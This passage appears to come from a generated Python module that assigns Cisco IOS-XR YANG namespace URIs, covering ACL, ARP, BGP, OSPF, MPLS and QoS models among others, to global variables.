_global_Cisco_IOS_XR_ipv4_acl_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-acl-datatypes'
_global_Cisco_IOS_XR_ipv4_acl_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-acl-oper'
_global_Cisco_IOS_XR_ipv4_acl_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-acl-oper'
_global_Cisco_IOS_XR_ipv4_arp_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-arp-cfg'
_global_Cisco_IOS_XR_ipv4_arp_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-arp-oper'
_global_Cisco_IOS_XR_ipv4_arp_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-arp-oper'
_global_Cisco_IOS_XR_ipv4_arp_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-arp-oper'
_global_Cisco_IOS_XR_ipv4_autorp_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-autorp-datatypes'
_global_Cisco_IOS_XR_ipv4_autorp_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-autorp-oper'
_global_Cisco_IOS_XR_ipv4_autorp_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-autorp-oper'
_global_Cisco_IOS_XR_ipv4_autorp_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-autorp-oper'
_global_Cisco_IOS_XR_ipv4_bgp_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-bgp-cfg'
_global_Cisco_IOS_XR_ipv4_bgp_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-bgp-datatypes'
_global_Cisco_IOS_XR_ipv4_bgp_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-bgp-oper'
_global_Cisco_IOS_XR_ipv4_bgp_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-bgp-oper'
_global_Cisco_IOS_XR_ipv4_dhcpd_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-dhcpd-cfg'
_global_Cisco_IOS_XR_ipv4_filesystems_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-filesystems-cfg'
_global_Cisco_IOS_XR_ipv4_hsrp_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-hsrp-cfg'
_global_Cisco_IOS_XR_ipv4_hsrp_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-hsrp-oper'
_global_Cisco_IOS_XR_ipv4_hsrp_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-hsrp-oper'
_global_Cisco_IOS_XR_ipv4_igmp_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-igmp-cfg'
_global_Cisco_IOS_XR_ipv4_igmp_dyn_tmpl_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-igmp-dyn-tmpl-cfg'
_global_Cisco_IOS_XR_ipv4_igmp_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-igmp-oper'
_global_Cisco_IOS_XR_ipv4_igmp_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-igmp-oper'
_global_Cisco_IOS_XR_ipv4_io_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-io-cfg'
_global_Cisco_IOS_XR_ipv4_io_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-io-oper'
_global_Cisco_IOS_XR_ipv4_io_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-io-oper'
_global_Cisco_IOS_XR_ipv4_io_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-io-oper'
_global_Cisco_IOS_XR_ipv4_ma_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ma-cfg'
_global_Cisco_IOS_XR_ipv4_ma_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ma-oper'
_global_Cisco_IOS_XR_ipv4_ma_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ma-oper'
_global_Cisco_IOS_XR_ipv4_ma_subscriber_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ma-subscriber-cfg'
_global_Cisco_IOS_XR_ipv4_mfwd_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-mfwd-cfg'
_global_Cisco_IOS_XR_ipv4_ospf_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ospf-cfg'
_global_Cisco_IOS_XR_ipv4_ospf_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ospf-oper'
_global_Cisco_IOS_XR_ipv4_ospf_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ospf-oper'
_global_Cisco_IOS_XR_ipv4_ospf_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ospf-oper'
_global_Cisco_IOS_XR_ipv4_pim_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-pim-cfg'
_global_Cisco_IOS_XR_ipv4_pim_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-pim-oper'
_global_Cisco_IOS_XR_ipv4_pim_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-pim-oper'
_global_Cisco_IOS_XR_ipv4_pim_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-pim-oper'
_global_Cisco_IOS_XR_ipv4_smiap_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-smiap-cfg'
_global_Cisco_IOS_XR_ipv4_telnet_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-telnet-cfg'
_global_Cisco_IOS_XR_ipv4_telnet_mgmt_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-telnet-mgmt-cfg'
_global_Cisco_IOS_XR_ipv4_vrrp_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-vrrp-cfg'
_global_Cisco_IOS_XR_ipv4_vrrp_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-vrrp-oper'
_global_Cisco_IOS_XR_ipv4_vrrp_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-vrrp-oper'
_global_Cisco_IOS_XR_ipv6_ace_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-acl-cfg'
_global_Cisco_IOS_XR_ipv6_acl_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-acl-cfg'
_global_Cisco_IOS_XR_ipv6_acl_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-acl-datatypes'
_global_Cisco_IOS_XR_ipv6_acl_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-acl-oper'
_global_Cisco_IOS_XR_ipv6_acl_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-acl-oper'
_global_Cisco_IOS_XR_ipv6_io_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-io-cfg'
_global_Cisco_IOS_XR_ipv6_io_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-io-oper'
_global_Cisco_IOS_XR_ipv6_io_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-io-oper'
_global_Cisco_IOS_XR_ipv6_ma_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-ma-cfg'
_global_Cisco_IOS_XR_ipv6_ma_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-ma-oper'
_global_Cisco_IOS_XR_ipv6_ma_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-ma-oper'
_global_Cisco_IOS_XR_ipv6_ma_subscriber_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-ma-subscriber-cfg'
_global_Cisco_IOS_XR_ipv6_nd_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-nd-cfg'
_global_Cisco_IOS_XR_ipv6_nd_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-nd-oper'
_global_Cisco_IOS_XR_ipv6_nd_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-nd-oper'
_global_Cisco_IOS_XR_ipv6_nd_subscriber_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-nd-subscriber-cfg'
_global_Cisco_IOS_XR_ipv6_new_dhcpv6d_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-new-dhcpv6d-cfg'
_global_Cisco_IOS_XR_ipv6_new_dhcpv6d_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-new-dhcpv6d-oper'
_global_Cisco_IOS_XR_ipv6_new_dhcpv6d_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-new-dhcpv6d-oper'
_global_Cisco_IOS_XR_ipv6_new_dhcpv6d_subscriber_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-new-dhcpv6d-subscriber-cfg'
_global_Cisco_IOS_XR_ipv6_ospfv3_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-ospfv3-cfg'
_global_Cisco_IOS_XR_ipv6_ospfv3_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-ospfv3-oper'
_global_Cisco_IOS_XR_ipv6_ospfv3_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-ospfv3-oper'
_global_Cisco_IOS_XR_ipv6_smiap_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-smiap-cfg'
_global_Cisco_IOS_XR_l2_eth_infra_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2-eth-infra-cfg'
_global_Cisco_IOS_XR_l2_eth_infra_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2-eth-infra-datatypes'
_global_Cisco_IOS_XR_l2_eth_infra_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2-eth-infra-oper'
_global_Cisco_IOS_XR_l2_eth_infra_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2-eth-infra-oper'
_global_Cisco_IOS_XR_l2_eth_infra_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2-eth-infra-oper'
_global_Cisco_IOS_XR_l2_eth_infra_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2-eth-infra-oper'
_global_Cisco_IOS_XR_l2vpn_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-cfg'
_global_Cisco_IOS_XR_l2vpn_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-oper'
_global_Cisco_IOS_XR_l2vpn_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-oper'
_global_Cisco_IOS_XR_l2vpn_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-oper'
_global_Cisco_IOS_XR_l2vpn_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-oper'
_global_Cisco_IOS_XR_l2vpn_oper_sub4_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-oper'
_global_Cisco_IOS_XR_lib_keychain_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-lib-keychain-cfg'
_global_Cisco_IOS_XR_lib_keychain_macsec_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-lib-keychain-macsec-cfg'
_global_Cisco_IOS_XR_lib_keychain_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-lib-keychain-oper'
_global_Cisco_IOS_XR_lib_keychain_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-lib-keychain-oper'
_global_Cisco_IOS_XR_lib_mpp_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-lib-mpp-cfg'
_global_Cisco_IOS_XR_lib_mpp_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-lib-mpp-oper'
_global_Cisco_IOS_XR_lib_mpp_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-lib-mpp-oper'
_global_Cisco_IOS_XR_linux_os_reboot_history_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-linux-os-reboot-history-oper'
_global_Cisco_IOS_XR_linux_os_reboot_history_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-linux-os-reboot-history-oper'
_global_Cisco_IOS_XR_lpts_lib_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-lpts-lib-cfg'
_global_Cisco_IOS_XR_lpts_pre_ifib_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-lpts-pre-ifib-cfg'
_global_Cisco_IOS_XR_lpts_pre_ifib_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-lpts-pre-ifib-oper'
_global_Cisco_IOS_XR_lpts_pre_ifib_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-lpts-pre-ifib-oper'
_global_Cisco_IOS_XR_lpts_punt_flowtrap_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-lpts-punt-flowtrap-cfg'
_global_Cisco_IOS_XR_macsec_ctrlr_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-macsec-ctrlr-oper'
_global_Cisco_IOS_XR_macsec_ctrlr_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-macsec-ctrlr-oper'
_global_Cisco_IOS_XR_man_ems_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-man-ems-cfg'
_global_Cisco_IOS_XR_man_ems_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-man-ems-oper'
_global_Cisco_IOS_XR_man_ems_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-man-ems-oper'
_global_Cisco_IOS_XR_man_netconf_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-man-netconf-cfg'
_global_Cisco_IOS_XR_man_xml_ttyagent_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-man-xml-ttyagent-cfg'
_global_Cisco_IOS_XR_man_xml_ttyagent_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-man-xml-ttyagent-oper'
_global_Cisco_IOS_XR_man_xml_ttyagent_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-man-xml-ttyagent-oper'
_global_Cisco_IOS_XR_manageability_object_tracking_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-object-tracking-cfg'
_global_Cisco_IOS_XR_manageability_object_tracking_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-object-tracking-datatypes'
_global_Cisco_IOS_XR_manageability_object_tracking_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-object-tracking-oper'
_global_Cisco_IOS_XR_manageability_object_tracking_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-object-tracking-oper'
_global_Cisco_IOS_XR_manageability_perfmgmt_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-perfmgmt-cfg'
_global_Cisco_IOS_XR_manageability_perfmgmt_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-perfmgmt-datatypes'
_global_Cisco_IOS_XR_manageability_perfmgmt_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-perfmgmt-oper'
_global_Cisco_IOS_XR_manageability_perfmgmt_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-perfmgmt-oper'
_global_Cisco_IOS_XR_mdrv_lib_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mdrv-lib-cfg'
_global_Cisco_IOS_XR_mpls_ldp_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-ldp-cfg'
_global_Cisco_IOS_XR_mpls_ldp_cfg_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-ldp-cfg-datatypes'
_global_Cisco_IOS_XR_mpls_ldp_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-ldp-oper'
_global_Cisco_IOS_XR_mpls_ldp_oper_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-ldp-oper-datatypes'
_global_Cisco_IOS_XR_mpls_ldp_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-ldp-oper'
_global_Cisco_IOS_XR_mpls_ldp_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-ldp-oper'
_global_Cisco_IOS_XR_mpls_ldp_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-ldp-oper'
_global_Cisco_IOS_XR_mpls_lsd_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-lsd-cfg'
_global_Cisco_IOS_XR_mpls_lsd_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-lsd-oper'
_global_Cisco_IOS_XR_mpls_lsd_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-lsd-oper'
_global_Cisco_IOS_XR_mpls_oam_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-oam-cfg'
_global_Cisco_IOS_XR_mpls_static_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-static-cfg'
_global_Cisco_IOS_XR_mpls_static_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-static-oper'
_global_Cisco_IOS_XR_mpls_static_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-static-oper'
_global_Cisco_IOS_XR_mpls_te_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-cfg'
_global_Cisco_IOS_XR_mpls_te_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-datatypes'
_global_Cisco_IOS_XR_mpls_te_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper'
_global_Cisco_IOS_XR_mpls_te_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper'
_global_Cisco_IOS_XR_mpls_te_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper'
_global_Cisco_IOS_XR_mpls_te_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper'
_global_Cisco_IOS_XR_mpls_te_oper_sub4_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper'
_global_Cisco_IOS_XR_mpls_te_oper_sub5_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper'
_global_Cisco_IOS_XR_mpls_te_oper_sub6_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper'
_global_Cisco_IOS_XR_mpls_te_oper_sub7_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper'
_global_Cisco_IOS_XR_mpls_te_oper_sub8_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper'
_global_Cisco_IOS_XR_mpls_te_oper_sub9_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper'
_global_Cisco_IOS_XR_mpls_vpn_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-vpn-oper'
_global_Cisco_IOS_XR_mpls_vpn_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-vpn-oper'
_global_Cisco_IOS_XR_ncs1k_mxp_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-cfg'
_global_Cisco_IOS_XR_ncs1k_mxp_headless_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-headless-oper'
_global_Cisco_IOS_XR_ncs1k_mxp_headless_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-headless-oper'
_global_Cisco_IOS_XR_ncs1k_mxp_lldp_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-lldp-oper'
_global_Cisco_IOS_XR_ncs1k_mxp_lldp_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-lldp-oper'
_global_Cisco_IOS_XR_ncs1k_mxp_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-oper'
_global_Cisco_IOS_XR_ncs1k_mxp_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-oper'
_global_Cisco_IOS_XR_ncs5500_coherent_node_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs5500-coherent-node-oper'
_global_Cisco_IOS_XR_ncs5500_coherent_node_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs5500-coherent-node-oper'
_global_Cisco_IOS_XR_ncs5500_coherent_portmode_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs5500-coherent-portmode-oper'
_global_Cisco_IOS_XR_ncs5500_coherent_portmode_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs5500-coherent-portmode-oper'
_global_Cisco_IOS_XR_ncs5500_qos_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs5500-qos-oper'
_global_Cisco_IOS_XR_ncs5500_qos_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs5500-qos-oper'
_global_Cisco_IOS_XR_ncs5500_qos_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs5500-qos-oper'
_global_Cisco_IOS_XR_nto_misc_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-nto-misc-oper'
_global_Cisco_IOS_XR_nto_misc_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-nto-misc-oper'
_global_Cisco_IOS_XR_nto_misc_shmem_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-nto-misc-shmem-oper'
_global_Cisco_IOS_XR_nto_misc_shmem_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-nto-misc-shmem-oper'
_global_Cisco_IOS_XR_nto_misc_shprocmem_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-nto-misc-shprocmem-oper'
_global_Cisco_IOS_XR_nto_misc_shprocmem_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-nto-misc-shprocmem-oper'
_global_Cisco_IOS_XR_openconfig_optical_client_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-openconfig-optical-client-cfg'
_global_Cisco_IOS_XR_openconfig_terminal_device_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-openconfig-terminal-device-cfg'
_global_Cisco_IOS_XR_openconfig_terminal_device_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-openconfig-terminal-device-oper'
_global_Cisco_IOS_XR_openconfig_terminal_device_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-openconfig-terminal-device-oper'
_global_Cisco_IOS_XR_optics_driver_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-optics-driver-cfg'
_global_Cisco_IOS_XR_otnifmib_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-otnifmib-cfg'
_global_Cisco_IOS_XR_parser_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-parser-cfg'
_global_Cisco_IOS_XR_patch_panel_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-patch-panel-cfg'
_global_Cisco_IOS_XR_pbr_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-cfg'
_global_Cisco_IOS_XR_pbr_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-datatypes'
_global_Cisco_IOS_XR_pbr_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-oper'
_global_Cisco_IOS_XR_pbr_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-oper'
_global_Cisco_IOS_XR_pbr_subscriber_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-subscriber-cfg'
_global_Cisco_IOS_XR_pbr_vservice_ea_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-vservice-ea-oper'
_global_Cisco_IOS_XR_pbr_vservice_ea_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-vservice-ea-oper'
_global_Cisco_IOS_XR_pbr_vservice_mgr_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-vservice-mgr-oper'
_global_Cisco_IOS_XR_pbr_vservice_mgr_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-vservice-mgr-oper'
_global_Cisco_IOS_XR_pfi_im_cmd_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-pfi-im-cmd-oper'
_global_Cisco_IOS_XR_pfi_im_cmd_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-pfi-im-cmd-oper'
_global_Cisco_IOS_XR_pfi_im_cmd_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-pfi-im-cmd-oper'
_global_Cisco_IOS_XR_plat_chas_invmgr_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-plat-chas-invmgr-oper'
_global_Cisco_IOS_XR_plat_chas_invmgr_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-plat-chas-invmgr-oper'
_global_Cisco_IOS_XR_plat_chas_invmgr_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-plat-chas-invmgr-oper'
_global_Cisco_IOS_XR_platform_pifib_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-platform-pifib-oper'
_global_Cisco_IOS_XR_platform_pifib_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-platform-pifib-oper'
_global_Cisco_IOS_XR_pmengine_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-pmengine-cfg'
_global_Cisco_IOS_XR_pmengine_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-pmengine-oper'
_global_Cisco_IOS_XR_pmengine_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-pmengine-oper'
_global_Cisco_IOS_XR_policy_repository_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-policy-repository-cfg'
_global_Cisco_IOS_XR_policy_repository_deviations_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-policy-repository-deviations'
_global_Cisco_IOS_XR_policy_repository_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-policy-repository-oper'
_global_Cisco_IOS_XR_policy_repository_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-policy-repository-oper'
_global_Cisco_IOS_XR_prm_server_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-prm-server-oper'
_global_Cisco_IOS_XR_prm_server_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-prm-server-oper'
_global_Cisco_IOS_XR_procmem_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-procmem-oper'
_global_Cisco_IOS_XR_procmem_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-procmem-oper'
_global_Cisco_IOS_XR_qos_ma_bng_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-qos-ma-bng-cfg'
_global_Cisco_IOS_XR_qos_ma_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-qos-ma-cfg'
_global_Cisco_IOS_XR_qos_ma_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-qos-ma-oper'
_global_Cisco_IOS_XR_qos_mibs_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-qos-mibs-cfg'
